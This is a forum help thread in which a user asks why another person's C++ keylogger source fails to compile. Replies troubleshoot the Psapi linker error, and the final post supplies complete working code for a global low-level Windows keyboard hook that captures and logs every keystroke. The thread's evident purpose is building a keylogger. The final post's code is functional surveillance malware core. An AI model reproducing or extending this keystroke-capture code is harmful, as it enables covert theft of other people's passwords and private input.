QuestionHelpC++ Keylogger (Not Working)

Posts 1–13 of 13 · Page 1 of 1
C++ Keylogger (Not Working)
Hi guys,

i have a problem with the Source Code from daavid245`s Keylogger (cant put an [Strg] + [Q] becasue then its a link -.-)

When ever i try to Compile it says

undefined reference to `GetModuleBaseNameA'
undefined reference to `GetModuleBaseNameA'

(Here is the Source Code pastebin[.]com[/]BwskggqA)

i tried my best but i guess im not that deep in to C++ to understand this
try to change the final 'A' in a 'W'.

Otherwise you are missing an #include of the specified library
Do these in your header file:

Code:
#include <Psapi.h>

#pragma comment(lib, "Psapi.lib")
Mhh... i tried this but it still wont work i have

#include <iostream>
#include <windows.h>
#include <fstream>
#include <shlobj.h>
#include <Lmcons.h>
#include <AccCtrl.h>
#include <Aclapi.h>
#include <Psapi.h>
#pragma comment(lib, "Psapi.lib")


and

/* Print the name of the process: */
tempName = name;

hWindow = GetForegroundWindow();
GetWindowThreadProcessId(hWindow, &window);
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, window);
GetModuleBaseName(hProcess, NULL, name, MAX_PATH);
CloseHandle(hProcess);

still wont work i tried A and W but still dosent do Sh*t

- - - Updated - - -

ok i just took it out of the code and now it works i dont know why but it works
Quote Originally Posted by 2kill4noob View Post
Mhh... i tried this but it still wont work i have

#include <iostream>
#include <windows.h>
#include <fstream>
#include <shlobj.h>
#include <Lmcons.h>
#include <AccCtrl.h>
#include <Aclapi.h>
#include <Psapi.h>
#pragma comment(lib, "Psapi.lib")


and

/* Print the name of the process: */
tempName = name;

hWindow = GetForegroundWindow();
GetWindowThreadProcessId(hWindow, &window);
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, window);
GetModuleBaseName(hProcess, NULL, name, MAX_PATH);
CloseHandle(hProcess);

still wont work i tried A and W but still dosent do Sh*t

- - - Updated - - -

ok i just took it out of the code and now it works i dont know why but it works
this isn't a keylogger , it's only a simple detector of handle's process. to create a keylogger you need a hook
search on msdn , strangely i can't post link -.-
It has to do with your project settings. the 'W' at the end is for wide, which is Unicode. The 'A' on the other hand is ANSI. If you are in Visual Studio you can choose to use unicode or multi byte. I think unicode is default.
Even so, using just GetModuleBaseName will automatically choose the ASCII or unicode equivalent for you.
Take a look at this tutorial:
This is a simple program, you can use this to make a really nice Keylogger
Before your script-kiddie self tries making a malicious program like a keylogger you actually learn how to program in the first place
What are you using to compile this?
TBH1 and xGalaxy97x are you dumb or just trolls ? Its the part of the code thats not working

FeelMeFlow Dev C++
Why oh why would you use GetAsyncKeyState? Just use a global keyboard hook:

Code:
#include <cstdio>
#include <windows.h>

#pragma comment(lib, "User32")

HHOOK hHook = NULL;

LRESULT CALLBACK KBHookCallback ( int nCode , WPARAM wParam , LPARAM lParam );

int Shift_Down = 0;

void p(char c)
{
    printf("%c", c);
    return;
}

int main()
{
    MSG msg;

    hHook = SetWindowsHookEx(WH_KEYBOARD_LL, KBHookCallback , 0,0);

    while(!GetMessage(&msg, 0, 0, 0))
    {
        TranslateMessage(&msg);
        DispatchMessage(&msg);
    }
    return 0;
}

LRESULT CALLBACK KBHookCallback ( int nCode , WPARAM wParam , LPARAM lParam)
{
    PKBDLLHOOKSTRUCT kbStruct = (KBDLLHOOKSTRUCT*)(lParam);
    if(wParam==WM_KEYDOWN)
    {
        int Key = (int)kbStruct->vkCode;
        if((Key >= 48) && (Key <= 90))
        {
            if(Shift_Down == 1)
            {
                p((char)Key);
            }
            else
            {
                p((char)tolower(Key));
            }
        }
        else if(Key == VK_RETURN)
        {
            printf("\n");
        }
        else if(Key == 32)
        {
            p(' ');
        }
        else if(Key == 160 || Key == 161)
        {
            Shift_Down = 1;
            printf("[SHFT]");
        }
        else if(Key >= 112 && Key <= 136)
        {
            p('F');
            p(Key-111);
        }
        else
        {
            p('[');
            printf("%d", Key);
            p(']');
        }
    }


    else if(wParam==WM_KEYUP)
    {
        int Key = (int)kbStruct->vkCode;
        if(Key == 160 || Key == 161)
        {
            Shift_Down = 0;
            printf("[/SHFT]");
        }
    }
    return CallNextHookEx(hHook, nCode, wParam, lParam);
}
Posts 1–13 of 13 · Page 1 of 1

Post a Reply

Similar Threads

Tags for this Thread

None

Need help?